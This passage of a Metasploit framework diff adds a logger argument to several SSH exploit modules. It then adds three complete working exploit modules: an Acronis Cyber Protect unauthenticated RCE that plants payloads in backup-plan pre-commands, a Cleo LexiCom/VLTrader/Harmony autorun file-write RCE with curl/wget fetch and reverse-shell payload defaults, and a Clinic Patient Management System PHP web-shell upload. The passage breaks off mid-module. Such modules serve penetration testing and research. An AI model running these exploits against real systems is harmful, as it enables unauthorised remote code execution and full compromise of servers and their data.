- conn = Net::SSH::CommandStream.new(ssh) + conn = Net::SSH::CommandStream.new(ssh, logger: self) ssh = nil return conn end diff --git a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb index ce79add91200..30732a229fd4 100644 --- a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb +++ b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb @@ -107,7 +107,7 @@ def do_login(user) if ssh_socket # Create a new session from the socket, then dump it. - conn = Net::SSH::CommandStream.new(ssh_socket) + conn = Net::SSH::CommandStream.new(ssh_socket, logger: self) ssh_socket = nil return conn diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb index ac2a5674a360..13b67ff2f752 100644 --- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb +++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb @@ -110,7 +110,7 @@ def do_login(user, pass) end if ssh - conn = Net::SSH::CommandStream.new(ssh, 'shell-escape') + conn = Net::SSH::CommandStream.new(ssh, 'shell-escape', logger: self) return conn end diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 8c7f32067c28..f6c12aa36bfc 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -100,7 +100,7 @@ def do_login(user, pass) end if ssh - conn = Net::SSH::CommandStream.new(ssh) + conn = Net::SSH::CommandStream.new(ssh, logger: self) ssh = nil return conn end diff --git a/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb index e1b41727d070..a9b3eefdff32 100644 --- a/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb +++ b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb @@ -104,7 +104,7 @@ def do_login if ssh_socket # Create a new session from the socket, then dump it. - conn = Net::SSH::CommandStream.new(ssh_socket) + conn = Net::SSH::CommandStream.new(ssh_socket, logger: self) sockets.delete(ssh_socket.transport.socket) return conn diff --git a/modules/exploits/linux/ssh/vmware_vrni_known_privkey.rb b/modules/exploits/linux/ssh/vmware_vrni_known_privkey.rb index c2443ab3bbb4..64dedec97d03 100644 --- a/modules/exploits/linux/ssh/vmware_vrni_known_privkey.rb +++ b/modules/exploits/linux/ssh/vmware_vrni_known_privkey.rb @@ -141,7 +141,7 @@ def do_login(user, key_data) if ssh_socket # Create a new session from the socket, then close it. - conn = Net::SSH::CommandStream.new(ssh_socket) + conn = Net::SSH::CommandStream.new(ssh_socket, logger: self) ssh_socket = nil return conn diff --git a/modules/exploits/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb new file mode 100644 index 000000000000..d6af53aaf553 --- /dev/null +++ b/modules/exploits/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -0,0 +1,523 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HTTP::AcronisCyber + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + + moved_from 'exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Acronis Cyber Protect/Backup remote code execution', + 'Description' => %q{ + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous + registration of new protect/backup agents on new endpoints. This API endpoint also + generates bearer tokens which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve a + bearer token that provides admin access to the available functions in the web console. + + The web console contains multiple possibilities to execute arbitrary commands on both the + agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation + job on the agent of the appliance). These options can easily be set with the provided bearer + token, which leads to a complete compromise of all agents and the appliance itself. + + You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` + to collect target info for exploitation in this module. Or just run this module standalone and + it will try to exploit the first online endpoint matching your target and payload settings + configured at the module. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module + 'Sandro Tolksdorf of usd AG.' # discovery + ], + 'References' => [ + ['CVE', '2022-3405'], + ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'], + ['URL', 'https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux', 'windows'], + 'Privileged' => true, + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ], + [ + 'Windows Command', + { + 'Platform' => ['windows'], + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-11-08', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 9877 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), + OptString.new('HOSTID', [false, 'hostId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), + OptString.new('PARENTID', [false, 'parentId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), + OptString.new('KEY', [false, 'key value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), + OptEnum.new('OUTPUT', [true, 'Output format to use', 'none', ['none', 'json']]) + ]) + end + + # create and import backup plan data with payload + # returns nil if not successful + def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2) + id = Faker::Internet.uuid + name = Rex::Text.rand_text_alphanumeric(5..8).downcase + + # we need to split the payload in the command and the arguments + # otherwise command execution does not work for windows targets + cmd_line = payload.split(' ', 2) + + case target['Type'] + when :unix_cmd + source_dir = '/home' + target_dir = '/tmp' + when :win_cmd + source_dir = 'c:/users/public' + target_dir = 'c:/windows/temp' + else + # probably macOS or other unix version + source_dir = '/home' + target_dir = '/tmp' + end + + plan_data = { + allowedActions: ['rename', 'revoke', 'runNow'], + allowedBackupTypes: ['full', 'incremental'], + backupType: 'files', + bootableMediaPlan: false, + editable: true, + enabled: true, + id: id.to_s, + locations: { data: [{ displayName: target_dir.to_s, id: "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"#{target_dir}\"]]", type: 'local_folder' }] }, + name: name.to_s, + options: { + backupOptions: { + prePostCommands: { + postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, + preCommands: { + command: cmd_line[0].to_s, + commandArguments: cmd_line[1].to_s, + continueOnCommandError: true, + waitCommandComplete: false, + workingDirectory: '' + }, + useDefaultCommands: false, + usePostCommands: false, + usePreCommands: true + }, + prePostDataCommands: { + postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, + preCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, + useDefaultCommands: true, + usePostCommands: false, + usePreCommands: false + }, + scheduling: { interval: { type: 'minutes', value: 30 }, type: 'distributeBackupTimeOptions' }, + simultaneousBackups: { simultaneousBackupsNumber: nil }, + snapshot: { + quiesce: true, + retryConfiguration: { + reattemptOnError: true, + reattemptTimeFrame: { type: 'minutes', value: 5 }, + reattemptsCount: 3, + silentMode: false + } + }, + tapes: { devices: [], overwriteDataOnTape: false, preserveTapesPosition: true, tapeSet: '' }, + taskExecutionWindow: {}, + taskFailureHandling: { periodBetweenRetryAttempts: { type: 'hours', value: 1 }, retryAttempts: 1, retryFailedTask: false }, + taskStartConditions: { runAnyway: false, runAnywayAfterPeriod: { type: 'hours', value: 1 }, waitUntilMet: true }, + validateBackup: false, + volumes: { + forceVssFullBackup: false, + useMultiVolumeSnapshot: true, + useNativeVssProvider: false, + useVolumeShadowService: true, + useVssFlags: ['definedRule'] + }, + vssFlags: { availableVssModes: ['auto', 'system'], enabled: true, value: 'auto', vssFullBackup: false }, + windowsEventLog: { isGlobalConfigurationUsed: true, traceLevel: 'warning', traceState: false }, + withHWSnapshot: false + }, + specificParameters: { inclusionRules: { rules: [ source_dir.to_s ], rulesType: 'centralizedFiles' }, type: '' } + }, + origin: 'centralized', + route: { + archiveSlicing: nil, + stages: [ + { + archiveName: '[Machine Name]-[Plan ID]-[Unique ID]A', + cleanUpIfNoSpace: false, + cleanup: { + time: [ + { backupSet: 'daily', period: { type: 'days', value: 7 } }, + { backupSet: 'weekly', period: { type: 'weeks', value: 4 } } + ], + type: 'cleanupByTime' + }, + destinationKind: 'local_folder', + locationScript: nil, + locationUri: target_dir.to_s, + locationUriType: 'local', + maintenanceWindow: nil, + postAction: { + convertToVMParameters: { + agentIds: [], + cpuCount: nil, + diskAllocationType: 'thick', + displayedName: nil, + enabled: false, + exactMemorySize: false, + infrastructureType: '', + memorySize: nil, + networkAdapters: [], + virtualMachineName: '', + virtualServerHost: nil, + virtualServerHostKey: '[["ItemType",""],["LocalID",""]]', + virtualServerStorage: '' + } + }, + rules: [ + { + afterBackup: true, + backupCountUpperLimit: 0, + backupSetIndex: 'daily', + backupUpperLimitSize: 0, + beforeBackup: false, + consolidateBackup: false, + deleteOlderThan: { type: 'days', value: 7 }, + deleteYongerThan: { type: 'days', value: 0 }, + onSchedule: false, + retentionSchedule: { + alarms: [], + conditions: [], + maxDelayPeriod: -1, + maxRetries: 0, + preventFromSleeping: true, + retryPeriod: 0, + type: 'none', + unique: false, + waitActionType: 'run' + }, + stagingOperationType: 'justCleanup' + }, + { + afterBackup: true, + backupCountUpperLimit: 0, + backupSetIndex: 'weekly', + backupUpperLimitSize: 0, + beforeBackup: false, + consolidateBackup: false, + deleteOlderThan: { type: 'weeks', value: 4 }, + deleteYongerThan: { type: 'days', value: 0 }, + onSchedule: false, + retentionSchedule: { + alarms: [], + conditions: [], + maxDelayPeriod: -1, + maxRetries: 0, + preventFromSleeping: true, + retryPeriod: 0, + type: 'none', + unique: false, + waitActionType: 'run' + }, + stagingOperationType: 'justCleanup' + } + ], + useProtectionPlanCredentials: true, + validationRules: nil + } + ] + }, + scheme: { + parameters: { + backupSchedule: { + kind: { dataType: 'binary', type: 'full' }, + schedule: { + alarms: [ + { + beginDate: { day: 0, month: 0, year: 0 }, + calendar: { days: 65, type: 'weekly', weekInterval: 0 }, + distribution: { enabled: false, interval: 0, method: 0 }, + endDate: { day: 0, month: 0, year: 0 }, + machineWake: false, + repeatAtDay: { endTime: { hour: 0, minute: 0, second: 0 }, timeInterval: 0 }, + runLater: false, + skipOccurrences: 0, + startTime: { hour: 23, minute: 0, second: 0 }, + startTimeDelay: 0, + type: 'time', + utcBasedSettings: false + } + ], + conditions: [], + maxDelayPeriod: -1, + maxRetries: 0, + preventFromSleeping: true, + retryPeriod: 0, + type: 'daily', + unique: false, + waitActionType: 'run' + } + }, + backupTypeRule: 'byScheme' + }, + schedule: { + daysOfWeek: ['monday', 'tuesday', 'wednesday', 'thursday', 'friday'], + effectiveDates: { from: { day: 0, month: 0, year: 0 }, to: { day: 0, month: 0, year: 0 } }, + machineWake: false, + preventFromSleeping: true, + runLater: false, + startAt: { hour: 23, minute: 0, second: 0 }, + type: 'daily' + }, + type: 'weekly_full_daily_inc' + }, + sources: { data: [{ displayName: name.to_s, hostID: hostid.to_s, id: key.to_s }] }, + target: { inclusions: [{ key: key.to_s, resource_key: key.to_s }] }, + tenant: { id: parentid.to_s, locator: "/#{parentid}/", name: parentid.to_s, parentID: '' } + }.to_json + + form_data = Rex::MIME::Message.new + form_data.add_part(plan_data, 'application/json', nil, "form-data; name=\"planfile\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.json\"") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'import'), + 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + }, + 'data' => form_data.to_s, + 'vars_get' => { + 'CreateDraftOnError' => true + } + }) + return unless res&.code == 200 && res.body.include?('planId') && res.body.include?('importedPlans') + + # parse json response and return planId + res_json = res.get_json_document + return if res_json.blank? + + res_json.dig('data', 'importedPlans', 0, 'planId') + end + + # remove the backup plan on the target including the payload + # returns true if successful + def remove_backup_plan(access_token2) + post_data = { + planIds: [@planid.to_s] + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plans_operations', 'remove_plans'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + }, + 'data' => post_data.to_s + }) + return false unless res&.code == 200 + + true + end + + # execute the backup plan on the target including the payload + # returns true if successful + def execute_command(access_token2, _opts = {}) + post_data = { + planId: @planid.to_s + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'run'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + }, + 'data' => post_data.to_s + }) + return false unless res&.code == 200 + + true + end + + def cleanup + # try to remove imported backup plan with payload to cover our tracks + # but do not run during the check phase + super + unless @check_running + if remove_backup_plan(@access_token2) + print_good('Backup plan is successful removed.') + else + print_warning('Backup plan could not be removed. Try to clean it manually.') + end + end + end + + def check + @check_running = true + # initial check on api access + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), + 'ctype' => 'application/json' + }) + return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = Faker::Internet.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id, @access_token1) + return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil? + + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + return Exploit::CheckCode::Unknown('Retrieval of the second access token failed.') if @access_token2.nil? + + # get version info + version = get_version_info(@access_token2) + return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil? + + release = version.match(/(.+)\.(\d+)/) + case release[1] + when '15.0' + if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + when '12.5' + if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + else + Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + end + + def exploit + @check_running = false + # check if @access_token2 is already set as part of autocheck option + if @access_token2.nil? + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = Faker::Internet.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id, @access_token1) + fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? + end + + # if hostid, parentid and key are blank, fetch the first managed online endpoint defined at the appliance matching the module target setting + hostid = datastore['HOSTID'] + parentid = datastore['PARENTID'] + key = datastore['KEY'] + if hostid.blank? || parentid.blank? || key.blank? + print_status('Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.') + res_json = get_machine_info(@access_token2) + fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? + + # find first online target matching the module target settings + res_json['data'].each do |item| + next unless item['type'] == 'machine' && (item['osType'] == 'linux' && target['Type'] == :unix_cmd) || (item['osType'] == 'windows' && target['Type'] == :win_cmd) && item['online'] + + print_status("Found online target matching your target setting #{target.name}.") + print_good("hostId: #{item['hostId']}") unless item['hostId'].nil? + print_good("parentId: #{item['parentId']}") unless item['parentId'].nil? + print_good("key: #{item['id']}") unless item['id'].nil? + print_status("type: #{item['type']}") unless item['type'].nil? + print_status("hostname: #{item['title']}") unless item['title'].nil? + print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil? + print_status("OS: #{item['os']}") unless item['os'].nil? + print_status("ARCH: #{item['osType']}") unless item['osType'].nil? + print_status("ONLINE: #{item['online']}") unless item['online'].nil? + hostid = item['hostId'] + parentid = item['parentId'] + key = item['id'] + break + end + end + fail_with(Failure::NotFound, "No target available matching your target setting #{target.name}.") if hostid.blank? || parentid.blank? || key.blank? + + # create and import backup plan with payload + print_status("Import backup plan with payload for target with hostId: #{hostid}.") + @planid = create_and_import_backup_plan(hostid, parentid, key, payload.encoded, @access_token2) + fail_with(Failure::BadConfig, 'Importing backup plan with payload failed.') if @planid.nil? + + print_status("Executing #{target.name} with payload #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd, :win_cmd + execute_command(@access_token2) + end + end +end diff --git a/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb b/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb new file mode 100644 index 000000000000..f27fcb1923fb --- /dev/null +++ b/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb @@ -0,0 +1,239 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony + versions 5.8.0.23 and below. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + # MSF Exploit & Rapid7 Analysis + 'sfewer-r7', + 'remmons-r7' + ], + 'References' => [ + ['CVE', '2024-55956'], + ['URL', 'https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956'], # Vendor Advisory + ['URL', 'https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis'], # Rapid7 Analysis + ['URL', 'https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/'], # Rapid7 Blog + ['URL', 'https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild'] # Huntress Blog + ], + 'DisclosureDate' => '2024-12-09', + 'Platform' => %w[java win linux unix], + 'Arch' => [ARCH_JAVA, ARCH_CMD], + 'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows. On Linux it depends on how the product was installed. + 'Targets' => [ + [ + # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads: + # java/meterpreter/reverse_tcp + 'Java', { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA + } + ], + [ + # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads: + # cmd/windows/http/x64/meterpreter/reverse_tcp + # cmd/windows/http/x64/meterpreter_reverse_tcp + 'Windows Command', { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'CURL', + 'FETCH_WRITABLE_DIR' => '%TEMP%' + } + } + ], + [ + 'Linux Command', { + 'Platform' => %w[linux unix], + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET', + 'FETCH_WRITABLE_DIR' => '/tmp' + } + } + ] + ], + 'DefaultOptions' => { + 'RPORT' => 5080, + 'SSL' => false, + # The exploit relies on the target service processing a file written to an 'autorun' folder, which is processed + # periodically. We bump up the WfsDelay to account for this, and give the exploit payload some extra time to trigger. + 'WfsDelay' => 10 + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + + return CheckCode::Unknown('Connection failed') unless res + + # We expect the server to respond with an HTTP Server header like "Cleo LexiCom/5.8.0.0 (Windows Server 2022)". + # Note, the target product may be either LexiCom, VLTrader, or Harmony. + if res.headers.key?('Server') && (res.headers['Server'] =~ %r{cleo\s+(?:lexicom|vltrader|harmony)/(\d+\.\d+\.\d+\.\d+)}i) + + if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('5.8.0.23') + return CheckCode::Appears(res.headers['Server']) + end + + return CheckCode::Safe(res.headers['Server']) + end + + CheckCode::Unknown + end + + def exploit + jar_path = nil + jar_file = nil + command = nil + + case target['Platform'] + when 'java' + jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}" + + jar_file = payload.encoded_jar(random: true) + + # The product ships its own JRE, so we can use a relative path to run our Java JAR file. + command = "jre/bin/java -jar \"#{jar_path}\"" + when 'win' + command = "cmd.exe /c \"#{payload.encoded}\"" + when 'linux', 'unix' + command = "/bin/sh -c \"#{payload.encoded}\"" + else + fail_with(Failure::BadConfig, 'Unsupported target platform') + end + + if command.include? ']]>' + # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command. + fail_with(Failure::BadConfig, 'Payload cannot contain the CDATA closing tag "]]>"') + end + + host_guid = SecureRandom.uuid + mailbox_guid = SecureRandom.uuid + action_guid = SecureRandom.uuid + + # This is based on the XML file that Huntress published (https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild) + host_xml = %( + + 0 + inbox\ + 0 + -1 + 0 + This contains mailboxes for a local host which can be used for local commands only. + Local Commands + outbox\ + 0 + True + False + True + ZipCompressionLevel=System Default + XMLEncryptionAlgorithm=System Default + HighPriorityIncomingWeight=10 + PGPHashAlgorithm=System Default + HighPriorityOutgoingWeight=10 + PGPCompressionAlgorithm=System Default + OutboxSort=System Default + PGPEncryptionAlgorithm=System Default + + + False + + 0 + 0 + False + + +) + + zip_file = Rex::Zip::Archive.new + + zip_file.add_file('hosts/main.xml', host_xml) + + zip_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}" + + arbitrary_file_write(zip_path, zip_file.pack) + + # The payload working directory will be the product install folder, e.g. "C:\LexiCom\", so we can pass relative + # paths here for cleanup. + register_files_for_cleanup(zip_path) + + # For Java payloads, we also need to write the payloads JAR file. + if jar_file && jar_path + arbitrary_file_write(jar_path, jar_file.pack) + + register_files_for_cleanup(jar_path) + end + + # Install the new host via the -i switch. + # Run the Mailbox action via the -r switch, which in turn will execute our payload. + autorun_data = [ + "-i \"#{zip_path}\"", + "-r \"<#{action_guid}>#{mailbox_guid}@#{host_guid}\"" + ].join("\r\n") + + arbitrary_file_write("autorun/#{Rex::Text.rand_text_alpha_lower(8)}", autorun_data) + + # Note, the autorun files will be deleted by the system after they are processed, so we do not need to register them for cleanup. + end + + def arbitrary_file_write(path, data) + boundary = Rex::Text.rand_text_alpha_lower(16) + + # We can trigger the file write via either of these two commands. + multipart_vlsync_command = ['ReceivedReceipt', 'SentReceipt'].sample + + # These parameters can appear in any order, so we shuffle them. + multipart_vlsync_params = [ + 'service="AS2"', + "msgId=#{Rex::Text.rand_text_alpha_lower(8)}", + "path=\"#{path}\"", + 'receiptfolder=Unspecified' + ].shuffle.join(';') + + content_data = "VLSync: #{multipart_vlsync_command};#{multipart_vlsync_params}\r\n" + content_data << "#{boundary}\r\n" + content_data << data + + # Note, the server does not process well-formed multipart form data, so we do not use Rex::MIME::Message. + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'Synchronization'), + 'headers' => { + 'VLSync' => 'Multipart;l=0,Acknowledge' + }, + 'ctype' => 'application/form-data; boundary=' + boundary, + 'data' => content_data + ) + + fail_with(Failure::UnexpectedReply, 'Failed to write file.') unless res&.code == 200 + end + +end diff --git a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb new file mode 100644 index 000000000000..edc93226bcc6 --- /dev/null +++ b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb @@ -0,0 +1,248 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE', + 'Description' => %q{ + This module exploits an unauthenticated file upload vulnerability in Clinic's + Patient Management System 1.0. An attacker can upload a PHP web shell and execute + it by leveraging directory listing enabled on the `/pms/user_images` directory. + }, + 'Author' => [ + 'Aaryan Golatkar', # Metasploit Module Developer + 'Oğulcan Hami Gül', # Vulnerability discovery + ], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Privileged' => false, + 'Targets' => [ + ['Clinic Patient Management System 1.0', {}] + ], + 'DefaultTarget' => 0, + 'References' => [ + ['EDB', '51779'], + ['CVE', '2022-40471'], + ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'], + ['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view'] + ], + 'DisclosureDate' => '2022-10-31', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']), + OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]), + OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false]) + ]) + end + + def check + print_status('Checking if target is vulnerable...') + + # Step 1: Retrieve PHPSESSID + vprint_status('Fetching PHPSESSID from the server...') + res_session = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'users.php'), + 'method' => 'GET' + }) + + unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies) + print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.') + return CheckCode::Unknown + end + + phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/) + if phpsessid.nil? + print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.') + return CheckCode::Unknown + else + phpsessid = phpsessid[1] + vprint_good("Obtained PHPSESSID: #{phpsessid}") + end + + # Step 2: Attempt File Upload + dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png" + dummy_content = Rex::Text.rand_text_alphanumeric(20) + dummy_name = Rex::Text.rand_text_alphanumeric(6) + post_data = Rex::MIME::Message.new + post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"') + post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"') + post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"') + post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"") + post_data.add_part('', nil, nil, 'form-data; name="save_user"') + + vprint_status("Uploading dummy file #{dummy_filename}...") + res_upload = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'users.php'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s, + 'cookie' => "PHPSESSID=#{phpsessid}" + }) + + unless res_upload && res_upload.code == 302 + print_error('File upload attempt failed. Target may not be vulnerable.') + return CheckCode::Safe + end + vprint_good('Dummy file uploaded successfully.') + + # Step 3: Verify File in Directory Listing + vprint_status('Verifying uploaded file in /pms/user_images...') + res_listing = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user_images/'), + 'method' => 'GET', + 'cookie' => "PHPSESSID=#{phpsessid}" + }) + + if res_listing && res_listing.code 